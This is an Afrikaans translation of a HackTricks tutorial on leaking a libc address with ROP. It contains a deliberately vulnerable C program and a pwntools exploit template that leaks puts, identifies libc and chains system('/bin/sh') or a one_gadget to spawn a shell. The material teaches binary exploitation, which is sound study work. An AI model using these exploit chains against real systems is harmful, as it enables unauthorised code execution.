Lek die libc adres met ROP
Reading time: 10 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Vinning Opsomming
- Vind oorgang offset
- Vind
POP_RDI
gadget,PUTS_PLT
enMAIN
gadgets - Gebruik vorige gadgets om die geheue adres van puts of 'n ander libc funksie te lek en vind die libc weergawe (donwload it)
- Met die biblioteek, bereken die ROP en benut dit
Ander tutorials en binaries om te oefen
Hierdie tutorial gaan die kode/binary wat in hierdie tutorial voorgestel word, benut: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Ander nuttige tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Kode
Lêernaam: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Leaking LIBC template
Laai die exploit af en plaas dit in dieselfde gids as die kwesbare binêre en gee die nodige data aan die skrip:
1- Vind die offset
Die sjabloon benodig 'n offset voordat dit met die exploit voortgaan. As enige verskaf word, sal dit die nodige kode uitvoer om dit te vind (per standaard OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Voer python template.py
uit, 'n GDB-konsol sal geopen word met die program wat gecrash het. Binne daardie GDB-konsol voer x/wx $rsp
uit om die bytes te kry wat die RIP gaan oorskryf. Laastens kry die offset met 'n python-konsol:
from pwn import *
cyclic_find(0x6161616b)
Na die vind van die offset (in hierdie geval 40) verander die OFFSET veranderlike binne die sjabloon met daardie waarde.
OFFSET = "A" * 40
'n Ander manier sou wees om te gebruik: pattern create 1000
-- voer uit tot ret -- pattern seach $rsp
van GEF.
2- Vind Gadgets
Nou moet ons ROP gadgets binne die binêre vind. Hierdie ROP gadgets sal nuttig wees om puts
aan te roep om die libc wat gebruik word te vind, en later om die finale exploit te lanseer.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
Die PUTS_PLT
is nodig om die funksie puts aan te roep.
Die MAIN_PLT
is nodig om die hoof funksie weer aan te roep na een interaksie om die overflow weer te ontgin (oneindige rondtes van ontginning). Dit word aan die einde van elke ROP gebruik om die program weer aan te roep.
Die POP_RDI is nodig om 'n parameter aan die aangeroepde funksie te gee.
In hierdie stap hoef jy niks uit te voer nie, aangesien alles deur pwntools tydens die uitvoering gevind sal word.
3- Vind libc biblioteek
Nou is dit tyd om te vind watter weergawe van die libc biblioteek gebruik word. Om dit te doen, gaan ons die adres in geheue van die funksie puts
lek en dan gaan ons soek in watter biblioteek weergawe die puts weergawe in daardie adres is.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Om dit te doen, is die belangrikste lyn van die uitgevoerde kode:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Dit sal 'n paar bytes stuur totdat oorskrywing van die RIP moontlik is: OFFSET
.
Dan sal dit die adres van die gadget POP_RDI
stel sodat die volgende adres (FUNC_GOT
) in die RDI register gestoor sal word. Dit is omdat ons wil oproep puts terwyl ons die adres van die PUTS_GOT
as die adres in geheue van die puts-funksie gestoor is in die adres wat deur PUTS_GOT
gewys word.
Daarna sal PUTS_PLT
aangeroep word (met PUTS_GOT
binne die RDI) sodat puts die inhoud binne PUTS_GOT
(die adres van die puts-funksie in geheue) sal lees en dit sal uitdruk.
Laastens, word die hoof funksie weer aangeroep sodat ons die oorskrywing weer kan benut.
Op hierdie manier het ons die puts-funksie bedrieg om die adres in geheue van die funksie puts (wat binne die libc biblioteek is) te druk. Nou dat ons daardie adres het, kan ons soek watter libc weergawe gebruik word.
Aangesien ons 'n paar lokale binêre benut, is dit nie nodig om uit te vind watter weergawe van libc gebruik word (vind net die biblioteek in /lib/x86_64-linux-gnu/libc.so.6
).
Maar, in 'n afstandsbenutting geval sal ek hier verduidelik hoe jy dit kan vind:
3.1- Soek na libc weergawe (1)
Jy kan soek watter biblioteek op die webblad gebruik word: https://libc.blukat.me/
Dit sal jou ook toelaat om die ontdekte weergawe van libc af te laai.
3.2- Soek na libc weergawe (2)
Jy kan ook doen:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Dit sal 'n rukkie neem, wees geduldig.
Vir dit om te werk het ons nodig:
- Libc simbool naam:
puts
- Gelekte libc adres:
0x7ff629878690
Ons kan uitvind watter libc waarskynlik gebruik word.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Ons kry 2 ooreenkomste (jy moet die tweede een probeer as die eerste een nie werk nie). Laai die eerste een af:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Kopieer die libc van libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
na ons werksgids.
3.3- Ander funksies om te lek
puts
printf
__libc_start_main
read
gets
4- Vind gebaseerde libc adres & uitbuiting
Op hierdie punt behoort ons die libc biblioteek te ken wat gebruik word. Aangesien ons 'n plaaslike binêre uitbuit, sal ek net gebruik: /lib/x86_64-linux-gnu/libc.so.6
So, aan die begin van template.py
verander die libc veranderlike na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Stel biblioteek pad in wanneer dit bekend is
Deur die pad aan die libc biblioteek te gee, gaan die res van die uitbuiting outomaties bereken word.
Binne die get_addr
funksie gaan die basisadres van libc bereken word:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
Let daarop dat die finale libc basisadres moet eindig op 00. As dit nie jou geval is nie, mag jy 'n verkeerde biblioteek gelekt het.
Dan gaan die adres na die funksie system
en die adres na die string "/bin/sh" bereken word vanaf die basisadres van libc en gegee word aan die libc biblioteek.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Uiteindelik gaan die /bin/sh uitvoeringsuitbuiting voorberei word en gestuur:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Laat ons hierdie finale ROP verduidelik.
Die laaste ROP (rop1
) het weer die hooffunksie aangeroep, dan kan ons weer die oortolligheid benut (dit is hoekom die OFFSET
hier weer is). Dan wil ons POP_RDI
aanroep wat na die adres van "/bin/sh" (BINSH
) wys en die system funksie (SYSTEM
) aanroep omdat die adres van "/bin/sh" as 'n parameter oorgedra sal word.
Laastens, die adres van die uitgang funksie word aangeroep sodat die proses netjies bestaan en enige waarskuwing gegenereer word.
So sal die exploit 'n _/bin/sh_** shell uitvoer.**
4(2)- Gebruik ONE_GADGET
Jy kan ook ONE_GADGET gebruik om 'n shell te verkry in plaas van om system en "/bin/sh" te gebruik. ONE_GADGET sal binne die libc biblioteek 'n manier vind om 'n shell te verkry met net een ROP adres.
E however, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos [rsp+0x30] == NULL
Aangesien jy die waardes binne die RSP beheer, hoef jy net 'n paar meer NULL waardes te stuur sodat die beperking vermy word.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT FILE
Jy kan 'n sjabloon vind om hierdie kwesbaarheid te benut hier:
Algemene probleme
MAIN_PLT = elf.symbols['main'] nie gevind nie
As die "main" simbool nie bestaan nie. Dan kan jy vind waar die hoofkode is:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
en stel die adres handmatig:
MAIN_PLT = 0x401080
Puts nie gevind nie
As die binêre nie Puts gebruik nie, moet jy kyk of dit gebruik
sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie
As jy hierdie fout vind na die skep van alle die exploit: sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie
Probeer om 64 bytes van die adres van "/bin/sh" af te trek:
BINSH = next(libc.search("/bin/sh")) - 64
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.